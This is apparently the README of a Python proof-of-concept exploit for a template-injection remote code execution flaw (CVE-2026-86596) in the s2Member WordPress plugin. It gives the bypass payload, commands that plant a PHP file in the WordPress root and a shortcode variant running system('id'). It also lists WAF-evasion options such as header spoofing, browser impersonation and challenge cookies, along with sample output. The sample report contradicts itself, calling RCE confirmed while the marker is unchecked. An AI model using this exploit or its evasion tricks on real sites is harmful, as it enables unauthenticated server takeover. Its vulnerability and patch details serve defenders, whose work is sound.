
CVE-2026-86596 s2Member <= 260927 PoC de injeção de template (laboratório; verificação de IPN necessária)
PoC em Python de arquivo único para o RCE de injeção de template no s2Member <= 260927.
O código vulnerável:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Carga útil:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() deixa-o intacto porque não há <? literal.
A substituição de %%item_name%% insere-o; a limpeza final de %%(.+?)%%
remove %%x%%, deixando um abridor <?php válido.
python3 poc.py https://wordpress.lab
Esse é todo o fluxo:
cve_test.php com @thiscitze na raiz do WordPress,https://wordpress.lab/cve_test.php e verifica o marcador.Se o ID do post/página protegido não for 1:
python3 poc.py https://wordpress.lab --item-number 123
Se .php estiver bloqueado, escreva um marcador em texto simples:
python3 poc.py https://wordpress.lab --filename cve_test.txt
Se o site usar uma chave de verificação de proxy:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Relatório conciso:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
O relatório responde a três perguntas distintas:
RCE: NOT CONFIRMED significa que o script não provou a execução de código, mesmo que
o status HTTP tenha sido 200.
A cor é ativada quando stdout é um TTY; force-a com --color always ou desative-a
com --color never.
Se o alvo estiver atrás de um WAF/desafio, o script tenta automaticamente variantes de formato de requisição antes de desistir:
multipart/form-dataitem_name duplicado (benigno + payload)multipart/form-data com item_name duplicadoX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxy for fornecidoControles opcionais:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion desativa as variantes automáticas. Um desafio JS ainda pode
exigir uma sessão de navegador real ou um IPN com origem no PayPal; truques de
cabeçalho não são um bypass garantido.
Escreva um ficheiro de teste na raiz do WordPress e verifique-o:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
O payload grava cve_test.php contendo:
<?php echo "@thiscitze"; ?>
Se .php estiver bloqueado ou não for necessário, escreva um marcador de texto simples em vez disso:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
O arquivo é gravado em ABSPATH (a raiz do sistema de arquivos do WordPress). Se o WordPress estiver instalado em um subdiretório, ajuste --test-url de acordo.
python3 poc.py --simulate
Esperado:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Variante de shortcode:
python3 poc.py --simulate --shortcode --command "system('id');"
Isso produz [s2If php="system('id');"], que é executado se o template
atingir um sink do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
Ele lê readme.txt ou s2member.php e compara a versão com
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member verifica IPNs com o PayPal (POST back) ou com uma chave de verificação de proxy. Um POST forjado diretamente é normalmente rejeitado. Para um laboratório:
item_name seja o payload, oupython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
O script imprime a resposta HTTP e avisa se o alvo rejeitou a verificação.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Busca uma página e procura por CVE-2026-86596, que o payload ecoa.
Isso é útil quando o sink de tracking-code / shortcode é renderizado após o IPN.
custom deve começar com o hostname do site (ou skip_ipn_domain_validation
deve estar habilitado).item_number válido para o caminho Specific Post/Page.do_shortcode() / [s2If php=...], ou uma integração personalizada que avalie
o template de notificação. O corpo padrão do e-mail simples em si é enviado
via wp_mail, não avaliado por eval.Atualize para o s2Member 261001 ou posterior (atual: 261017). A correção substitui
a interpolação sequencial por fill_paypal_template_once() e sanitiza
o destino de tracking para [A-Za-z0-9 @._-].
PR:N) dizem não autenticado. Trate-o como remoto/não autenticado para
prioridade de patch, mas valide os requisitos de IPN/proxy na sua configuração.